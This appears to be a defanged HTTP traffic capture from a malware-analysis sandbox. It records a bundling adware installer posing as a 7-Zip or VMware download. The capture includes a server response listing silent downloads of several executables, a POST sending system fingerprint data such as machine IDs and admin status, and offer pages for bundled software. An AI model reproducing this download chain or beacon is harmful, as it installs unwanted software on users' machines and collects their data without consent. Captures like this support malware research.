User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1293

Connection: keep-alive

Date: Thu, 31 Mar 2016 22:43:22 GMT

Content-Disposition: attachment; filename="decline.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "137a96f0655570ffdf65ae14dad52404"

Accept-Ranges: bytes

Server: AmazonS3

Age: 13541

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kNZaSGnPP7HnCswbs4E6L8prk1Y1HNP1RmVK8IUlS20AvonMXpCneg==
GIF89ae...............................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................!.....t.,....e........n
s.............n..mB.............FBm.s.C.............AB.DE.............
DDI.GGF.............G.I.........(.....HJ.LML..........%....8...z.J.\..
a.%N.5qB......8...F......H..F...$)..e.&P.A.I....37>......Ax..JT.N%D
..\....)..H.J..U...H..u...[.... ..&/H.{!%.V.m...X0...)Se.......W.P!D.J
.... ^[email protected]..(.........B.E....4.<Z4..-2..r....7L.....m*W.Y........
..Nc...<.x..a.....Do..........;........{......_.>.. ..3(p....W._
9p........{.........z... {[[email protected].!. f.".%j..
.#bh#._....[....@.)[email protected]..[[email protected].`.....|...h..
..^[email protected]..`...S.........o....z....7......9.!b.!...Vji. .... ....`&l
t;A'..f...T....=......:....0A.[$0@.>......{....a...&.....8@........
a...&`...6.l.bP0....;n._. [email protected]......,....k......!h4
....G....Wl.j..g....w.q.g.2..$.l..(....,....0..s.4..r......<....6.-
t.?.m4.l.<G.o....PG-..TWM..M[...P....X...$d.m..g..@ .;....
<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 3033

Connection: keep-alive

Date: Thu, 31 Mar 2016 13:39:34 GMT

Content-Disposition: attachment; filename="accept.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "3484f982bbd281ea323f9dedb47098ed"

Accept-Ranges: bytes

Server: AmazonS3

Age: 46722

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lB3Jwob2YzCpufKNYYCMjSSTBNt6KCYZnfUylodHgBu2alWz2laUXg==
GIF89ae...............!.(:.AhxjC.M..%...C.E...?.G...gvh*. *./*.3guhwww
?.H<.E>.E&.) .->.G;.Appp.....3-.3,./-.2*[email protected]<.A)[email protected]
.K'. =.D8.?:.A7.>6.<2.74.91.50.76.>..................C.K...}.
.o.t ./...............'.,^.d......L.R~..uuu...............J.N...<.C
...H.KL.P..................[._&. ...........................|.~......(
.-...4.?k.oB.KG.M?.G...[.^;.C...|.....y.}...a.f......;.B...Y.^...j.m..
.......I.M......?.B>.D............M.Q...........9<.?... .5o.s1.8
(.,A.K......C.I%.*..2?.Hgug)[email protected]>.F=.D6.;...'.)*.(*./-
.-?.=-..:.C../<.C...5.<[email protected]:.A,.2;.B;.BQ.\...O.Tkyl/.
3\._8.>'.-/.2>.F?.P<.F*.&-.34.9(.,@.I .....)./=.D3.8&.<C.K
#.*C.J .,~.. .&...#.&(.) .2,.3=.F,.5(./...{.}...=.E&.*Y.\-.39.B{.|....
.....hwi). iyjjzk-.2^.b>.J&.,q.ul.pm.pn.q...M.R......<.A......!.
.XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
; <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c
011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf=
"hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description 
rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef
="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns
.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:325014833434E41
1B829A1185F1C216E" xmpMM:DocumentID="xmp.did:D165859F343611E4B378E2150
F88781F" xmpMM:InstanceID="xmp.iid:D165859E343611E4B378E2150F88781F" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:Deriv
<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 29603

Connection: keep-alive

Date: Wed, 11 May 2016 07:59:08 GMT

Content-Disposition: attachment; filename="dm_left_image.png"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "27e01b52fcb3f43ff9d3f29b0af69137"

Accept-Ranges: bytes

Server: AmazonS3

Age: 67310

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RcGgKhQm-CZbwh2IcsKgVVFhY05WD_jIUPgQxFs1lCY8pcD8OLo_Vg==
.PNG........IHDR.......e.....5Z......tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:A22384F4BB6C11E488CDA27B
4BADD3EB" xmpMM:DocumentID="xmp.did:A22384F5BB6C11E488CDA27B4BADD3EB"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A22384F2BB6C11E488
CDA27B4BADD3EB" stRef:documentID="xmp.did:A22384F3BB6C11E488CDA27B4BAD
D3EB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>.O.8..p.IDATx...[..X.....I..12#.*..{z.f5.y[
....4..$..>.....X..#m.vU.LWfUf......u......`.#3"....H.x.....o......
.i.$...@.........~.Z..xd...w..,....;9......<..-...B.......o.....7._
..w.Y....kn?>...T=..|:..^k.;......".J..B.gM.f).|...<..rK....=.7.
.Z.g....SDG..`.tm.q......ZS...(.V.<....Y.....;z.,?>..|*...k..}ip
..C..=..|B...kV-W.....J....X....k...y>.[z.5.d.l..W.u.1/.....|...r.v
.r}..|*...k...........j<.....p|Q=........$.....C...<..-....{.`..
....._.?x......q.7S>.......W...'_...#..#.p..a.Gy.O...sM!........S..
.3^.p.s.|[email protected]|s3.......?..Bi.&....k._..........
<<< skipped >>>

GET /launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic= HTTP/1.0

Host: up.sdfuus98d7f.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 1025

Connection: close

Date: Sun, 29 May 2016 02:44:36 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

X-Cache: Miss from cloudfront

Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)

X-Amz-Cf-Id: y5uWh3M87VHDzcaTf9PaUq2C-jfkiug4XNZ9b5EwiLBk-_1tZVotGg==
files=4.t1=dl.u1=hXXp://VVV.dosecuretrips.com/download.php?version=1.1
.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/do
wnloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cm
dline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_
installer.png.n1=Setup__2140_il21.exe.b1=am.c1=2140-sevenzip.s1=0.m1=0
.d1=0.t2=dl.u2=hXXp://sub.spirlymo.com/installers/cli/1464487328335/Se
venZip_downloader-Q1W7zfujX.exe.n2=SevenZip_downloader-Q1W7zfujX.exe.b
2=bi.c2=sevenzip-3.s2=0.m2=1.d2=1500.t3=dl.u3=hXXp://get.wenter3.space
/?affId=1006&appTitle=Vmware%2Bworkstation%2B10.0.5%2Bbuil&s1=15
05&s2=4312341&setupName=cpSetup&appVersion=2.92&instId=11.n3=cpSetup.e
xe.b3=cp.c3=sevenzip-1.s3=0.m3=0.d3=0.t4=dl.u4=hXXp://dl.betteru3.spac
e/stub_maker_uk.php?url=hXXp://tabiso2get.link/taveara?q=setup&name=Vm
ware+workstation+10.0.5+buil.n4=sevensetup.exe.b4=rx.c4=sevenzip
-1.s4=0.m4=0.d4=0.fn1=Components.fn2=File opener.fn3=File finder.fn4=S
evenZip.ftitle=to run your file.itype=silent...

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2881

Connection: keep-alive

Date: Thu, 31 Mar 2016 20:10:34 GMT

Content-Disposition: attachment; filename="cancel1.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "d9f00c86bfa3e08e905128b131229fac"

Accept-Ranges: bytes

Server: AmazonS3

Age: 22851

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SA8_ewi8-BBZiz6g1U6QoO_YahoE1o_TQCipfhqWcu5PrQW2M4hUrw==
[email protected]*.-<.AC.K=.F>.H'. ;.B,./=.E)./)[email protected]=.D=.D?.GC.M
>.DC.IC.K'.,@.H>.F:.A*./D.LC.M?.HB.L=.G;.A9.@:.C .-;.CuuuB.K(.)&
gt;.G)..<.C). @.I>.E...>.G,. ). &. <.E*.&%.*6.C-.3-.33.7).
1&.)www(.-*. .../.54.?-.4=.B...!.().0...-.7...G.I..9-.35.7?.F'.0A.O-..
,.5<.B>.J ..D.I5.:..5=.GE.K/.0-.-/.2?.=,.7*. ;.B/.4 .'C.I..79.B&
.2 .,<.>".*-.0?.C-.-8.>-.&'.12.4:.AC.B1.7-.4..$'. 3.8Q.\<.
A<.G4.9 .05.<C.F6.;;[email protected]".%;.B>.Q*.-0.5&.<9.?'.-#.) .6:.A
 ./..31.57.>4.96.>0.76.<&.)2.78.?-.2-.3ppp...................
......................................................................
......................................................................
......................................................................
......................................................................
.......!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTcz
kc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP C
ore 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF x
mlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Des
cription rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:x
mpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.co
m/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Wi
ndows)" xmpMM:InstanceID="xmp.iid:5653313B52CD11E48302D8AFAF09E831" xm
pMM:DocumentID="xmp.did:5653313C52CD11E48302D8AFAF09E831"> <xmpM
M:DerivedFrom stRef:instanceID="xmp.iid:5653313952CD11E48302D8AFAF
<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1740

Connection: keep-alive

Date: Wed, 30 Mar 2016 21:29:29 GMT

Content-Disposition: attachment; filename="skip.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "7c96892b1948a6e97494e2d58cafe1c0"

Accept-Ranges: bytes

Server: AmazonS3

Age: 17949

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lAJaAgm4xtp9BHAZjydt8XNm9Q68h_UgLMtFBGanKdzJeb0-b3_V4w==
GIF89ae...............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...........!.......,....e........|"E......*\......?...)....3j...... Cb
.....R...\[email protected]....>...C...:P.J.J.*U.X.:....
..`...C....h....'...d..= W...x...Cp..=....L..`>}...Q...>b.....N.
3~.k..y..>....M.....I...CB..1R......?....1.P............. _.\. :.f.
.$...@*@..$h. @y....$(P.A..._..O .....O.>.Ct..Idh. B.\.. ..........
f.!D.0..D..Uha}..B.!..... .(.....H...Q."..b..! ...[..../4...Vxq.......
D.9"!.....L6...O&....L........C... ......ta...$ D./ ...p:YH...h..x....
...F....."/<A...0.. .x........J..D......z2B."..*....jj#.(.F.d8....|
...#......t..!.$..........[*$.5..#.6....F.l#.0..#%....p...".........!.
4.I...R.....m$.A............".T..%.pPC./[email protected].".......!.%......v.1..
.4.$$.l..(.lr%}HQ..f@.. .`..$..`...l0.'6T@..?.........*cB.%PG-..TW
<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2157

Connection: keep-alive

Date: Wed, 11 May 2016 07:59:07 GMT

Content-Disposition: attachment; filename="next.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "ba2e9f310f01397a1f41cb6a7ab2e3c9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 67335

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OEJxXfQX9m398vw01HV0dTWqwmlCeH6BS_cSxzH1BoQYYnS70VRadQ==
[email protected]>.H=.F=.D;.B7.>6.<4.9-.3-.2 ./*.-
)./'. ...&.<>.Q..' ., .6&.26.C5.A,.7;.I<.G .*'.1'.0".*$.,,.43
.<*.11.9/.8..76.?9.D5.=4.<:.C9.B9.A6.><.E:.B?.I>.G=.G;.
C<[email protected]>[email protected]?.H>[email protected].\..$..# .%!.&#.)&..%. 
".'&.-*.1!.&).1-.5)..&. -.5*.0'.,-.4*.0)..)./(.-'.-0.8,.2'.,)../.6-.4,
.1 .1 .1)..0.7-.2,.23.;-.2*./3.9/.42.90.60.50.7..3..5-.24.;1.70.55.<
;4.;..48.?7.>6.=5.<4.:2.78.?6.=<.B:.A9.@8.?2.7-.3:.A8.?7.=;.B
8.><.B<.C;.B;.@[email protected]>.D>.D=.D:.A>.D:.?C.KC.IC.J8.=D
.L?.F3.8?.F<.AE.JD.KF.LB.HA.FD.HN.TK.PP.TX.]a.fe.jn.rx.|~..........
..................................$.('. %.)4.9).,).-*.. .-).  .. .-*.-
-.10.41.5/.22.44.86.:C.HG.IH.L_.b.....................................
........'.(*.*(.)-../.0-.->.>C.E........................,.  .&..
................uuu...!.......,....e..........'......*\.........'.....
f...i... C...i...Az...qZ.O"Ej...Z..0c....Z...4..8.....|.X.....P..X:5.U
.U.j.....v3...Q.......].....p.....F...FM.R....1r..a........A.D.....NL.
.......2...J.[T:p.....H.^....G...IQ..-Z{Z.&].....w....u.O<:<....
.G..!pD......g...\.l\.q..'.......H..S...-....Q...lp)....D.......h.....
.>...E..p...i@a!....D..0...\4..<i4..#..XH$...b .0...S.T.!8....&l
t;........8...G.f... .."K)S..M l.Q.,....>..RJ.9.QG.9..G..h...;6QP.p
.)..t..G..h..?.X.'7V..J<....8....>.$A.>..R.?.."..p.!D ~..G...
b...h.B....AA0........ .,......#...~ D<.."H ....,..B.<....8..r."
....7.Xc...|.K(#(..................nD.D ....8.(aK>.............
<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2157

Connection: keep-alive

Date: Thu, 31 Mar 2016 22:43:23 GMT

Content-Disposition: attachment; filename="finish.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "ba2e9f310f01397a1f41cb6a7ab2e3c9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 13451

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fQcTQ89Y5zhKIWXGOPuxwpaTcFoCWjiDG-hDkb5LdHBdWuRZVbJlMA==
[email protected]>.H=.F=.D;.B7.>6.<4.9-.3-.2 ./*.-
)./'. ...&.<>.Q..' ., .6&.26.C5.A,.7;.I<.G .*'.1'.0".*$.,,.43
.<*.11.9/.8..76.?9.D5.=4.<:.C9.B9.A6.><.E:.B?.I>.G=.G;.
C<[email protected]>[email protected]?.H>[email protected].\..$..# .%!.&#.)&..%. 
".'&.-*.1!.&).1-.5)..&. -.5*.0'.,-.4*.0)..)./(.-'.-0.8,.2'.,)../.6-.4,
.1 .1 .1)..0.7-.2,.23.;-.2*./3.9/.42.90.60.50.7..3..5-.24.;1.70.55.<
;4.;..48.?7.>6.=5.<4.:2.78.?6.=<.B:.A9.@8.?2.7-.3:.A8.?7.=;.B
8.><.B<.C;.B;.@[email protected]>.D>.D=.D:.A>.D:.?C.KC.IC.J8.=D
.L?.F3.8?.F<.AE.JD.KF.LB.HA.FD.HN.TK.PP.TX.]a.fe.jn.rx.|~..........
..................................$.('. %.)4.9).,).-*.. .-).  .. .-*.-
-.10.41.5/.22.44.86.:C.HG.IH.L_.b.....................................
........'.(*.*(.)-../.0-.->.>C.E........................,.  .&..
................uuu...!.......,....e..........'......*\.........'.....
f...i... C...i...Az...qZ.O"Ej...Z..0c....Z...4..8.....|.X.....P..X:5.U
.U.j.....v3...Q.......].....p.....F...FM.R....1r..a........A.D.....NL.
.......2...J.[T:p.....H.^....G...IQ..-Z{Z.&].....w....u.O<:<....
.G..!pD......g...\.l\.q..'.......H..S...-....Q...lp)....D.......h.....
.>...E..p...i@a!....D..0...\4..<i4..#..XH$...b .0...S.T.!8....&l
t;........8...G.f... .."K)S..M l.Q.,....>..RJ.9.QG.9..G..h...;6QP.p
.)..t..G..h..?.X.'7V..J<....8....>.$A.>..R.?.."..p.!D ~..G...
b...h.B....AA0........ .,......#...~ D<.."H ....,..B.<....8..r."
....7.Xc...|.K(#(..................nD.D ....8.(aK>.............
<<< skipped >>>

GET /V36/amipb.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn1.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 71803

Connection: keep-alive

Date: Tue, 17 May 2016 11:09:58 GMT

Last-Modified: Tue, 17 May 2016 11:08:26 GMT

ETag: "e840f36f9eecb4c77a9a1e7b428349ed"

x-amz-storage-class: REDUCED_REDUNDANCY

Accept-Ranges: bytes

Server: AmazonS3

Age: 56006

X-Cache: Hit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: dH4xwPzq5smTiIPUvs5yEytC2-8hFsld25HdqhLXX5cUxZOJWiisWQ==
..//<!-- ../*    Progress bar   */..var g_AmiPbs = new Array();.var
 g_AmiPbsEx = new Array();.var g_interval = 0;.var g_initComp = 0;.var
 g_possibleComps = [];.var g_reportedComps = [];.var g_removedComps = 
[];..var g_disable_updater = false;..//in the version we tests updater
 task is created firstly.var g_UpdaterTestVersion = (typeof (g_ver) !=
= 'undefined' && g_ver != null && g_ver == '1.1.5.90');.var g_UpdaterT
askCreated = false;..function LogMessage(message) {.    try {.        
g_ami.Log(message);.    }.    catch (excpt) {.    }.}..function IsDecl
ined(name) {.    var declined = 0;.    for (var i = 0; i < g_remove
dComps.length; i  ) {.        if (g_removedComps[i] == name) {.       
     declined = 1;.            break;.        }.    }.    return decli
ned;.}..function UpdateSkipStatus(sn) {.    if (g_testa && !ArrayConta
ins(g_reportedComps, sn) && !ArrayContains(g_notest, sn) && !ArrayCont
ains(g_notest1, sn) && !ArrayContains(g_notest2, sn)) {.        if (g_
testa.constructor != Array || ArrayContains(g_testa, sn)) {.          
  g_ami.WriteProfileString(g_testf, '', sn, 'S');.            g_report
edComps.push(sn);.        }.    }.}..function ShortNameFromName(name) 
{.    for (c = 0; c < g_comps.length; c  ) {.        if (g_comps[c]
.name == name) {.            return g_comps[c].sn;.        }.    }.   
 return name;.}..function UpdateComponentsStatus() {.    LogMessage('U
pdateComponentsStatus function started');.    for (var j = 0; j < g
_possibleComps.length; j  ) {..        if (g_possibleComps[j].sn =
<<< skipped >>>

POST /index.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.quaintspokenracketiest.site

Content-Length: 430

Connection: Keep-Alive

Cache-Control: no-cache

Net1.1=&Net2=3.5.21022.08&Net4=4.0.30319&OSversion=NT5.1SP3&Slv=&Sysid=C8318CA6891F5119A9FD96EC19E98D71&Sysid1=C8318CA6891F5119A9FD96EC19E98D71&X64=N&admin=Y&browser=IEXPLORE.EXE&cavp=&chver=&cmdl=Setup__2140_il21.exe&dprod=19C2FB3DEC385401F6FCF22178334A&exe=Setup__2140_il21&ffver=&lang_DfltUser=0409&mac=AA==&machg=NzVlZDk1NjctYWE1OC00YzhlLWE4ZWEtM2NhZDdjNDdhYjAzAA==&name=WFA3AA==&netfs=3&ts=1464489890&ver=1.1.5.26
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Sun, 29 May 2016 02:44:41 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

transfer-encoding: chunked

Connection: keep-alive
2121....<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//
EN">.<html>.    <head>.        <meta http-equiv="con
tent-type" content="text/html; charset=UTF-8" /> .        <title
>DownloadManagerModern</title>...<script type="text/javasc
ript">...  var g_notCompatibleWithUpdaterComps = ['LootFindKP'];...
  var g_postponedComps = ['updater', 'Paltalk', 'SHAREit', 'JinshanDub
a',  'UCwebAccelerator', 'UltimateSecurityPackage' ,  'TotalSecurity',
 'TotalSecurityIN', 'TotalSecurityRU'];...</script> .        <
;base href="hXXp://VVV.quaintspokenracketiest.site:80/index.php" />
.<link rel="stylesheet" type="text/css" href="hXXp://cdn2.lawfuldow
nload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css" />        
<script type="text/javascript" src="hXXp://cdn1.lawfuldownload.com/
V36/amipb.js"></script>.        <script type="text/javascr
ipt">.var g_r_appimageurl="http:\/\/pe-sixi.com\/img\/icon_installe
r.png";..var g_r_appname="installer";..var g_r_cmdline="\/S";..       
     var g_amiobj = '', g_ami, g_updb = false, g_close = '1', g_additi
onal_offer_list = '1';.            var g_finish_install_button = '1';.
            var g_popup_install_all = '1';.            var g_eula = 'V
GhlIGRvd25sb2FkIGFuZCBpbnN0YWxsYXRpb24gcHJvY2VzcyBvZiB0aGlzIGZpbGUgaXM
gcnVuIGJ5IEluc3RhbGxQYXRoIEluc3RhbGwgTWFuYWdlci4KQnkgY2xpY2tpbmcgdGhlI
CJBY2NlcHQiIG9yICJOZXh0IiBidXR0b25zIGJlbG93LCBvciBieSBjb250aW51aW5nIHR
oaXMgSW5zdGFsbFBhdGggSW5zdGFsbCBNYW5hZ2VyIGluc3RhbGxhdGlvbiwgb3Igb
<<< skipped >>>

POST /finalize.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.quaintspokenracketiest.site

Content-Length: 374

Connection: Keep-Alive

Cache-Control: no-cache

_hdn=0&_ver=1.1.5.26&_p=1&_s=20&_cc=UA&_cid=2140&_psb=0&_cnt=8090dd4d0f36f257c0d595bbfe802c92&_instid=l21&_brw=ie&_fc=0&_appname=&_appimageurl=&_netfs=-31&_vert=3&r_DownloadManagerModern=0&r_NationZoom=1&r_JinshanDuba=3&r_SputnikSearch=2&r_UCwebAccelerator=1&r_YesSearches=1&DownloadManagerModern=3&NationZoom=1&JinshanDuba=1&SputnikSearch=1&UCwebAccelerator=1&YesSearches=4
HTTP/1.1 200 OK

Content-Type: text/xml

Date: Sun, 29 May 2016 02:44:42 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 4581

Connection: keep-alive
....<Array><page><f>1</f><fb>9</fb>
;<pt>0</pt><cats>0</cats><updh>1</upd
h><wrn></wrn><comps>DownloadManagerModern</com
ps><short_name>DownloadManagerModern</short_name><mu
st_show>0</must_show><bdy>CjxkaXYgaWQ9ImFtaV9kX21hbmFnZ
XJfYm9keSI Cgk8ZGl2IGlkPSJhbWlfbGVmdF9pbWFnZSI CQoJCTxpbWcgaWQ9ImFtaV9
pbWFnZXVybCIgc3JjPSJodHRwOi8vcGUtc2l4aS5jb20vaW1nL2ljb25faW5zdGFsbGVyL
nBuZyIgLz4KCQk8ZGl2IGlkPSJhbWlfbGVmdF9saW5rcyI CQoJCQk8YSBocmVmPSJodHR
wOi8vd3d3Lmluc3RhbGxwYXRoLmNvbS9wcml2YWN5Lmh0bWwgIiB0YXJnZXQ9Il9ibGFua
yIgc3R5bGU9ImNvbG9yOiB3aGl0ZSI UHJpdmFjeSBQb2xpY3k8L2E PGJyIC8 CgkJCTx
hIGhyZWY9Imh0dHA6Ly93d3cuaW5zdGFsbHBhdGguY29tL2luZGV4Lmh0bWwiIHRhcmdld
D0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IHdoaXRlIj5IZWxwPC9hPjxiciAvPgoJCQk8YSB
ocmVmPSJodHRwOi8vd3d3Lmluc3RhbGxwYXRoLmNvbS9jb250YWN0LXVzLmh0bWwiIHRhc
mdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IHdoaXRlIj5Db250YWN0IHVzPC9hPgoJCTw
vZGl2PgoJPC9kaXY Cgk8ZGl2IGlkPSJhbWlfYm9keV90ZXh0Ij4KCQk8ZGl2IGlkPSJhb
WlfZGVjX2RpdiI CgkJCTxzcGFuIGlkPSJhbWlfZGVjX3RpdGxlIj5TZXR1cCA8Yj5pbnN
